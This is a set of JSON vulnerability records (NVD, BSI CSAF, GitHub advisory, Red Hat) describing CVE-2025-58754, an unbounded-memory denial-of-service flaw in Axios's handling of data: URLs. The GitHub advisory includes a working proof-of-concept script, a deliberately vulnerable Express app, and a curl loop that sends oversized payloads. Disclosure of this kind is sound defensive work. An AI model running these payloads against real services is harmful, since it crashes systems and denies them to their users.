{
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              "matchCriteriaId": "8D1E2D32-0BC0-4262-8C5B-724161A0429F",
              "versionEndExcluding": "1.12.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Axios is a promise based HTTP client for the browser and Node.js. When Axios prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: \u0027stream\u0027`. Versions 0.30.2 and 1.12.0 contain a patch for the issue."
    }
  ],
  "id": "CVE-2025-58754",
  "lastModified": "2025-09-29T15:16:08.883",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-09-12T02:15:46.873",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Issue Tracking",
        "Patch"
      ],
      "url": "https://github.com/axios/axios/pull/7011"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/axios/axios/pull/7034"
    },
    {
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      "url": "https://github.com/axios/axios/releases/tag/v0.30.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/axios/axios/releases/tag/v1.12.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-770"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
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}

{
  "document": {
    "aggregate_severity": {
      "text": "mittel"
    },
    "category": "csaf_base",
    "csaf_version": "2.0",
    "distribution": {
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "de-DE",
    "notes": [
      {
        "category": "legal_disclaimer",
        "text": "Das BSI ist als Anbieter f\u00fcr die eigenen, zur Nutzung bereitgestellten Inhalte nach den allgemeinen Gesetzen verantwortlich. Nutzerinnen und Nutzer sind jedoch daf\u00fcr verantwortlich, die Verwendung und/oder die Umsetzung der mit den Inhalten bereitgestellten Informationen sorgf\u00e4ltig im Einzelfall zu pr\u00fcfen."
      },
      {
        "category": "description",
        "text": "Red Hat Enterprise Linux (Developer Hub) (RHEL) ist eine popul\u00e4re Linux-Distribution.",
        "title": "Produktbeschreibung"
      },
      {
        "category": "summary",
        "text": "Ein entfernter, anonymer Angreifer kann eine Schwachstelle in Red Hat Enterprise Linux (Developer Hub) ausnutzen, um einen Denial of Service Angriff durchzuf\u00fchren.",
        "title": "Angriff"
      },
      {
        "category": "general",
        "text": "- Linux",
        "title": "Betroffene Betriebssysteme"
      }
    ],
    "publisher": {
      "category": "other",
      "contact_details": "csaf-provider@cert-bund.de",
      "name": "Bundesamt f\u00fcr Sicherheit in der Informationstechnik",
      "namespace": "https://www.bsi.bund.de"
    },
    "references": [
      {
        "category": "self",
        "summary": "WID-SEC-W-2025-2134 - CSAF Version",
        "url": "https://wid.cert-bund.de/.well-known/csaf/white/2025/wid-sec-w-2025-2134.json"
      },
      {
        "category": "self",
        "summary": "WID-SEC-2025-2134 - Portal Version",
        "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2025-2134"
      },
      {
        "category": "external",
        "summary": "Red Hat Security Advisory vom 2025-09-25",
        "url": "https://access.redhat.com/errata/RHSA-2025:16747"
      }
    ],
    "source_lang": "en-US",
    "title": "Red Hat Enterprise Linux (Developer Hub): Schwachstelle erm\u00f6glicht Denial of Service",
    "tracking": {
      "current_release_date": "2025-09-25T22:00:00.000+00:00",
      "generator": {
        "date": "2025-09-26T06:06:14.326+00:00",
        "engine": {
          "name": "BSI-WID",
          "version": "1.4.0"
        }
      },
      "id": "WID-SEC-W-2025-2134",
      "initial_release_date": "2025-09-25T22:00:00.000+00:00",
      "revision_history": [
        {
          "date": "2025-09-25T22:00:00.000+00:00",
          "number": "1",
          "summary": "Initiale Fassung"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "Developer Hub \u003c1.6.5",
                "product": {
                  "name": "Red Hat Enterprise Linux Developer Hub \u003c1.6.5",
                  "product_id": "T047182"
                }
              },
              {
                "category": "product_version",
                "name": "Developer Hub 1.6.5",
                "product": {
                  "name": "Red Hat Enterprise Linux Developer Hub 1.6.5",
                  "product_id": "T047182-fixed",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:redhat:enterprise_linux:developer_hub__1.6.5"
                  }
                }
              }
            ],
            "category": "product_name",
            "name": "Enterprise Linux"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2025-58754",
      "product_status": {
        "known_affected": [
          "T047182"
        ]
      },
      "release_date": "2025-09-25T22:00:00.000+00:00",
      "title": "CVE-2025-58754"
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  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.12.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.30.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-11T21:07:55Z",
    "nvd_published_at": "2025-09-12T02:15:46Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.\nThis path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: \u0027stream\u0027`.\n\n## Details\n\nThe Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.\n\nRelevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):\n\n```js\nconst fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\nconst parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);\nconst protocol = parsed.protocol || supportedProtocols[0];\n\nif (protocol === \u0027data:\u0027) {\n  let convertedData;\n  if (method !== \u0027GET\u0027) {\n    return settle(resolve, reject, { status: 405, ... });\n  }\n  convertedData = fromDataURI(config.url, responseType === \u0027blob\u0027, {\n    Blob: config.env \u0026\u0026 config.env.Blob\n  });\n  return settle(resolve, reject, { data: convertedData, status: 200, ... });\n}\n```\n\nThe decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):\n\n```js\nexport default function fromDataURI(uri, asBlob, options) {\n  ...\n  if (protocol === \u0027data\u0027) {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n    const match = DATA_URL_PATTERN.exec(uri);\n    ...\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? \u0027base64\u0027 : \u0027utf8\u0027);\n    if (asBlob) { return new _Blob([buffer], {type: mime}); }\n    return buffer;\n  }\n  throw new AxiosError(\u0027Unsupported protocol \u0027 + protocol, ...);\n}\n```\n\n* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.\n* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.\n* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.\n\nIn comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.\n\n\n## PoC\n\n```js\nconst axios = require(\u0027axios\u0027);\n\nasync function main() {\n  // this example decodes ~120 MB\n  const base64Size = 160_000_000; // 120 MB after decoding\n  const base64 = \u0027A\u0027.repeat(base64Size);\n  const uri = \u0027data:application/octet-stream;base64,\u0027 + base64;\n\n  console.log(\u0027Generating URI with base64 length:\u0027, base64.length);\n  const response = await axios.get(uri, {\n    responseType: \u0027arraybuffer\u0027\n  });\n\n  console.log(\u0027Received bytes:\u0027, response.data.length);\n}\n\nmain().catch(err =\u003e {\n  console.error(\u0027Error:\u0027, err.message);\n});\n```\n\nRun with limited heap to force a crash:\n\n```bash\nnode --max-old-space-size=100 poc.js\n```\n\nSince Node heap is capped at 100 MB, the process terminates with an out-of-memory error:\n\n```\n\u003c--- Last few GCs ---\u003e\n\u2026\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n1: 0x\u2026 node::Abort() \u2026\n\u2026\n```\n\nMini Real App PoC:\nA small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.\n\n```js\nimport express from \"express\";\nimport morgan from \"morgan\";\nimport axios from \"axios\";\nimport http from \"node:http\";\nimport https from \"node:https\";\nimport { PassThrough } from \"node:stream\";\n\nconst keepAlive = true;\nconst httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });\nconst httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });\nconst axiosClient = axios.create({\n  timeout: 10000,\n  maxRedirects: 5,\n  httpAgent, httpsAgent,\n  headers: { \"User-Agent\": \"axios-poc-link-preview/0.1 (+node)\" },\n  validateStatus: c =\u003e c \u003e= 200 \u0026\u0026 c \u003c 400\n});\n\nconst app = express();\nconst PORT = Number(process.env.PORT || 8081);\nconst BODY_LIMIT = process.env.MAX_CLIENT_BODY || \"50mb\";\n\napp.use(express.json({ limit: BODY_LIMIT }));\napp.use(morgan(\"combined\"));\n\napp.get(\"/healthz\", (req,res)=\u003eres.send(\"ok\"));\n\n/**\n * POST /preview { \"url\": \"\u003chttp|https|data URL\u003e\" }\n * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).\n */\n\napp.post(\"/preview\", async (req, res) =\u003e {\n  const url = req.body?.url;\n  if (!url) return res.status(400).json({ error: \"missing url\" });\n\n  let u;\n  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: \"invalid url\" }); }\n\n  // Developer allows using data:// in the allowlist\n  const allowed = new Set([\"http:\", \"https:\", \"data:\"]);\n  if (!allowed.has(u.protocol)) return res.status(400).json({ error: \"unsupported scheme\" });\n\n  const controller = new AbortController();\n  const onClose = () =\u003e controller.abort();\n  res.on(\"close\", onClose);\n\n  const before = process.memoryUsage().heapUsed;\n\n  try {\n    const r = await axiosClient.get(u.toString(), {\n      responseType: \"stream\",\n      maxContentLength: 8 * 1024, // Axios will ignore this for data:\n      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:\n      signal: controller.signal\n    });\n\n    // stream only the first 64KB back\n    const cap = 64 * 1024;\n    let sent = 0;\n    const limiter = new PassThrough();\n    r.data.on(\"data\", (chunk) =\u003e {\n      if (sent + chunk.length \u003e cap) { limiter.end(); r.data.destroy(); }\n      else { sent += chunk.length; limiter.write(chunk); }\n    });\n    r.data.on(\"end\", () =\u003e limiter.end());\n    r.data.on(\"error\", (e) =\u003e limiter.destroy(e));\n\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    limiter.pipe(res);\n  } catch (err) {\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    res.status(502).json({ error: String(err?.message || err) });\n  } finally {\n    res.off(\"close\", onClose);\n  }\n});\n\napp.listen(PORT, () =\u003e {\n  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);\n  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);\n});\n```\nRun this app and send 3 post requests:\n```sh\nSIZE_MB=35 node -e \u0027const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString(\"base64\"); process.stdout.write(JSON.stringify({url:\"data:application/octet-stream;base64,\"+b}))\u0027 \\\n| tee payload.json \u003e/dev/null\nseq 1 3 | xargs -P3 -I{} curl -sS -X POST \"$URL\" -H \u0027Content-Type: application/json\u0027 --data-binary @payload.json -o /dev/null```\n```\n\n---\n\n## Suggestions\n\n1. **Enforce size limits**\n   For `protocol === \u0027data:\u0027`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.\n\n2. **Stream decoding**\n   Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.",
  "id": "GHSA-4hjh-wcwx-xvwj",
  "modified": "2025-09-29T19:03:57Z",
  "published": "2025-09-11T21:07:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58754"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/7034"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.30.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.12.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios is vulnerable to DoS attack through lack of data size check"
}

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      "text": "Moderate"
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    "category": "csaf_security_advisory",
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    "distribution": {
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        "text": "Red Hat Developer Hub 1.6.5 has been released.",
        "title": "Topic"
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        "text": "Red Hat Developer Hub (RHDH) is Red Hat\u0027s enterprise-grade, self-managed, customizable developer portal based on Backstage.io. RHDH is supported on OpenShift and other major Kubernetes clusters (AKS, EKS, GKE). The core features of RHDH include a single pane of glass, a centralized software catalog, self-service via golden path templates, and Tech Docs. RHDH is extensible by plugins.",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
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        "url": "https://access.redhat.com/errata/RHSA-2025:16747"
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        "summary": "https://access.redhat.com/security/cve/CVE-2025-58754",
        "url": "https://access.redhat.com/security/cve/CVE-2025-58754"
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        "url": "https://access.redhat.com/security/updates/classification/"
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        "summary": "https://catalog.redhat.com/search?gs\u0026searchType=containers\u0026q=rhdh",
        "url": "https://catalog.redhat.com/search?gs\u0026searchType=containers\u0026q=rhdh"
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        "url": "https://docs.redhat.com/en/documentation/red_hat_developer_hub"
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        "summary": "https://issues.redhat.com/browse/RHIDP-8805",
        "url": "https://issues.redhat.com/browse/RHIDP-8805"
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        "url": "https://issues.redhat.com/browse/RHIDP-8806"
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            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
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}